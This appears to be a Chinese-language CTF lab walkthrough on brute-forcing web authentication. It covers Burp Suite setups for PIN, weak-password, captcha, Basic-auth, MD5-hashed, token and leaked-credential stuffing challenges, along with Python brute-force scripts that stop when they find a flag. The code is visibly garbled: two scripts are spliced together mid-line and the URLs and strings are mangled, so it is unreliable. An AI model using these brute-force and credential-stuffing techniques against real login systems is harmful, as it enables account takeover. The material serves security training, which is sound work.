认证爆破 认证技术 身份认证技术是用于在计算机网络中确认操作者身份的一种有效的解决方法。计算机网络世界中一切信息包括用户的身份信息都是用一组特定的数据来表示的,计算机只能识别用户的数字身份,所有对用户的授权也是针对用户数字身份的授权。 身份认证攻击就是为了使用各种办法通过这层认证,突破作为防护网络资产的第一道关口,身份认证攻击在渗透测试中有着举足轻重的作用。 对于身份认证攻击可以直接进行爆破攻击,在配置不当的情况下内网中还会经常遇到非授权访问。
Web认证爆破 [1-四位数字爆破]
抓包,添加定位符
选择数值爆破方式,从0到9999,每次增加1个
最小位数为4位,最大位数也是4位,小数位数0
之后开始爆破得到密码。
[2-简单弱口令爆破]
同上一题,选取定位符
选择简单列表,导入自己的字典
拿到密码
[3-带验证码爆破] 每刷新一次页面,验证码都会变
先随便弄个密码,输上验证码,BP抓包,这个时候不要放包,只要不放包验证码就不会变,之后按照上一题的做法继续做,导入字典即可
**[4-Basic 认证爆破]**(Custom itermtor 打开后直接弹小窗
tomcat6和低版本的7,老版本的海康威视都可以用这种方法。
根据提示,用户名admin,密码随便输,BP抓包观察一下,有个basic,后边有一串base64
放到Decode进行base64解码,看到密码格式
之后用迭代器爆破,选上定位符
选择迭代器爆破,用2迭代器,导入字典
用1迭代器,导入admin,刚才解码看出来admin和密码之间是:分割的,所以输入:分隔
之后因为密码是base64形式的,选上base64编码,因为base64会编码特殊字符,需要取消最后⾯的payload url⾃动编码。
[5-前端加密爆破]
可以看到密码自动md5加密了
直接用BP自带的密码,然后hash:md5
[6-泄露数据撞库]
可以看到数据库的数据虽然是一一对应的,但是系统可能识别不了,需要清洗一下
打开vscode,搜索,选上正则匹配,搜索框输入**.+空格,就能匹配到姓名,shift+ctrl+l保存,(注意姓名后边会有空格,全部替换为空)同理输入 空格+.** ,就能匹配到密码。
BP抓包,这个时候用户名和密码都需要定位符,因为是一一对应的关系
攻击类型选择Pitchfork攻击
回到payloads,这里payload set有两个,第一个导入姓名,第二个导入密码
之后开始攻击。
提取脚本
1 2 3 4 5 6 7 8 9 10 f = open('db.txt').read() res = f.split("\n") with open('user.txt','w') as user: for i in res: user.write(i.split(" ")[0]+"\n") user.close() with open('pass.txt','w') as passowrd: for i in res: passowrd.write(i.split(" ")[1]+"\n") passowrd.close()
[7-返回包特征提取爆破]
这个题登陆成功和登录失败返回的长度都一样,无法通过返回包长度看是否成功爆破
同样抓包,看到密码也是被md5加密了
用自带密码,添加md5加密,但是返回的长度都一样
这个时候去options,点击Grep-Extract
这时候看到添加上了,开始爆破
GG实战:https://www.sqlsec.com/2017/11/nnuwifi.html
可以看到长度一样,但是内容不一样
[8-简单的 token 验证]
解密发现token是时间戳
Unix 时间戳是从 1970 年 1 ⽉ 1 ⽇(UTC/GMT的午夜)开始所经过的秒数
由于 Burp 不能对时间戳进⾏设置,得⼿动写脚本进⾏爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requests import time from hashlib import md5 url = "http:"#127.0.0.1/boom8/" passwd = open("boom8/pass.txt").read().split("\n") for pw in passwd: times = int(time.time()) token = md5(str(times).encode('utf-8')).hexdigest() payload = { "username" : "admin", "password" : pw, "token" : token } r = requests.post(url=url,dimport time import hashlib import requests def md5(str): m = hashlib.md5() m.update(str.encode("utf8")) return m.hexdigest() def main(): url = "http:"#10.20.24.244/" headers = { 'Host': '10.20.24.244', 'Content-Type': 'application/x-""&-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)', } payloads = open("pass.txt").read().split("\n") for payload in payloads: data = f"username=admin&password={payload }&token={md5(str(int(time.time())))}" r = requests.post(url=url, headers=headers, data=data) if 'flag{' in r.text: print(f"\033[32;1m[+] success {data}\033[0m") break else: print(f"\033[1;34m[*] attack {data}\033[0m") if "'name"' "( ""'main"'": main() ata=payload) if 'flag{' in r.text: print(r.text) break else: print("[+] attack {}".format(pw)) time.sleep(1)
[9-泄露数据撞库 2] 上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import hashlib import requests def md5(str): m = hashlib.md5() m.update(str.encode("utf8")) return m.hexdigest() r = requests.get("http:"#""&.ggctf.com:30066/db.txt") lines = r.text.split("\n") for line in lines: username_password = line.split(" ") data = { "username": username_password[0], "password": md5(username_password[1]), } r = requests.post(url="http:"#""&.ggctf.com:30066", data=data) if 'flag{' in r.text: print('\033[32;1m[+]\033[0m ' + username_password[0] + ":" + username_password[1]) break else: print('\033[1;34m[*]\033[0m ' + username_password[0] + ":" + username_password[1])
BP也可以做,做法一样
[10-带验证码爆破]
这个验证码不跟上边那个一样了,这次是真的验证码。
所以这次爆破后即使不放包也会显示验证码有误
第一种方法:
用一个小工具,pkavhttpfuzzer.
首先,把BP的字典导出来,把请求包复制粘贴到工具中,点击添加标记,标记密码,选中验证码,添加验证码标记,这是两种标记
点击验证码识别,有个验证码地址,右击网站中验证码,在新标签页 中打开,复制网址填写。
点击下放重放选项,选择单线程模式
回到变体设置,导入刚才复制出来的BP字典
发包器即可。